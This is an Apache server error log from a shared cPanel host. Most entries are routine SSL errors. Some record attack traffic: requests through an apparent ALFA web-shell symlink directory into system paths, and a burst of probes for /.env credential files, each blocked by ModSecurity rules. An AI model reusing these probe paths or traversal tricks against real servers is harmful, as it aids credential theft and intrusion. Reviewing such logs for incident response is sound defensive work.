[Mon Oct 26 12:36:58.249005 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 44.210.204.255:7423] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:37:02.628490 2026] [core:crit] [pid 3052342:tid 3052342] (13)Permission denied: [client 91.237.124.248:51354] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 12:37:04.576924 2026] [security2:error] [pid 3065033:tid 3065033] [client 91.237.124.248:51356] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "368"] [id "920340"] [rev "3"] [msg "Request Containing Content, but Missing Content-Type header"] [severity "NOTICE"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at-BsLlETi0iozxJMB-JmgAAABc"]
[Mon Oct 26 12:37:06.226491 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 3.220.70.171:11040] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:37:10.447276 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 50.16.248.61:13297] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:37:26.208852 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 44.196.118.6:34590] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:37:34.395113 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 34.236.41.241:16598] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:37:38.200287 2026] [ssl:error] [pid 3065033:tid 3065033] (70014)End of file found: [client 98.82.59.253:48062] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:37:50.229163 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 18.213.240.226:40917] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:37:54.186625 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 44.209.187.99:55274] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:38:02.210163 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 3.210.223.61:4180] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:38:10.234505 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 44.218.6.93:60028] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:38:18.307372 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 34.225.243.131:37593] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:38:26.177325 2026] [ssl:error] [pid 3065033:tid 3065033] (70014)End of file found: [client 3.89.170.186:23468] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:38:38.242527 2026] [core:error] [pid 3065033:tid 3065033] (13)Permission denied: [client 52.70.123.241:44899] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/ttyS2/irq
[Mon Oct 26 12:38:50.194003 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.206.65.8:54581] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:38:54.215512 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 98.83.177.42:12790] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:39:15.334620 2026] [security2:error] [pid 3064916:tid 3064916] [client 185.191.171.17:65190] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sbin/switch_root"] [unique_id "at-CMwz1n6jB6fkqe7GlBgAAABA"]
[Mon Oct 26 12:39:15.334688 2026] [security2:error] [pid 3064916:tid 3064916] [client 185.191.171.17:65190] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sbin/switch_root"] [unique_id "at-CMwz1n6jB6fkqe7GlBgAAABA"]
[Mon Oct 26 12:39:18.337064 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.209.174.110:49345] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:39:20.668670 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 85.208.96.193:64494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/store_user
[Mon Oct 26 12:39:34.185152 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 3.230.69.161:18676] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:39:46.178247 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 3.224.205.25:31708] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:39:50.280634 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 54.235.191.179:64707] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:40:06.633680 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 185.191.171.13:54352] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:40:10.254059 2026] [core:error] [pid 3065028:tid 3065028] (13)Permission denied: [client 54.243.63.52:62306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/resource4_wc
[Mon Oct 26 12:40:14.312252 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 3.81.253.213:37886] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:40:19.987188 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-Cc3H-Y6Vcm97dx7AvigAAAAs"]
[Mon Oct 26 12:40:19.987472 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-Cc3H-Y6Vcm97dx7AvigAAAAs"]
[Mon Oct 26 12:40:19.987745 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-Cc3H-Y6Vcm97dx7AvigAAAAs"]
[Mon Oct 26 12:40:21.133027 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at-CdXH-Y6Vcm97dx7AviwAAAAs"]
[Mon Oct 26 12:40:21.133261 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at-CdXH-Y6Vcm97dx7AviwAAAAs"]
[Mon Oct 26 12:40:21.133543 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at-CdXH-Y6Vcm97dx7AviwAAAAs"]
[Mon Oct 26 12:40:21.449491 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at-CdXH-Y6Vcm97dx7AvjAAAAAs"]
[Mon Oct 26 12:40:21.449850 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at-CdXH-Y6Vcm97dx7AvjAAAAAs"]
[Mon Oct 26 12:40:21.450350 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at-CdXH-Y6Vcm97dx7AvjAAAAAs"]
[Mon Oct 26 12:40:21.789378 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at-CdXH-Y6Vcm97dx7AvjQAAAAs"]
[Mon Oct 26 12:40:21.789601 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at-CdXH-Y6Vcm97dx7AvjQAAAAs"]
[Mon Oct 26 12:40:21.789964 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at-CdXH-Y6Vcm97dx7AvjQAAAAs"]
[Mon Oct 26 12:40:22.277779 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at-CdnH-Y6Vcm97dx7AvjgAAAAs"]
[Mon Oct 26 12:40:22.278030 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at-CdnH-Y6Vcm97dx7AvjgAAAAs"]
[Mon Oct 26 12:40:22.278362 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at-CdnH-Y6Vcm97dx7AvjgAAAAs"]
[Mon Oct 26 12:40:22.593245 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at-CdnH-Y6Vcm97dx7AvjwAAAAs"]
[Mon Oct 26 12:40:22.593599 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at-CdnH-Y6Vcm97dx7AvjwAAAAs"]
[Mon Oct 26 12:40:22.594036 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at-CdnH-Y6Vcm97dx7AvjwAAAAs"]
[Mon Oct 26 12:40:22.828605 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at-CdnH-Y6Vcm97dx7AvkAAAAAs"]
[Mon Oct 26 12:40:22.828907 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at-CdnH-Y6Vcm97dx7AvkAAAAAs"]
[Mon Oct 26 12:40:22.829214 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at-CdnH-Y6Vcm97dx7AvkAAAAAs"]
[Mon Oct 26 12:40:23.346002 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at-Cd3H-Y6Vcm97dx7AvkQAAAAs"]
[Mon Oct 26 12:40:23.346246 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at-Cd3H-Y6Vcm97dx7AvkQAAAAs"]
[Mon Oct 26 12:40:23.346524 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at-Cd3H-Y6Vcm97dx7AvkQAAAAs"]
[Mon Oct 26 12:40:23.689471 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at-Cd3H-Y6Vcm97dx7AvkgAAAAs"]
[Mon Oct 26 12:40:23.689719 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at-Cd3H-Y6Vcm97dx7AvkgAAAAs"]
[Mon Oct 26 12:40:23.690044 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at-Cd3H-Y6Vcm97dx7AvkgAAAAs"]
[Mon Oct 26 12:40:25.235497 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at-CeXH-Y6Vcm97dx7AvkwAAAAs"]
[Mon Oct 26 12:40:25.235785 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at-CeXH-Y6Vcm97dx7AvkwAAAAs"]
[Mon Oct 26 12:40:25.236139 2026] [security2:error] [pid 3064909:tid 3064909] [client 185.218.86.14:37554] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at-CeXH-Y6Vcm97dx7AvkwAAAAs"]
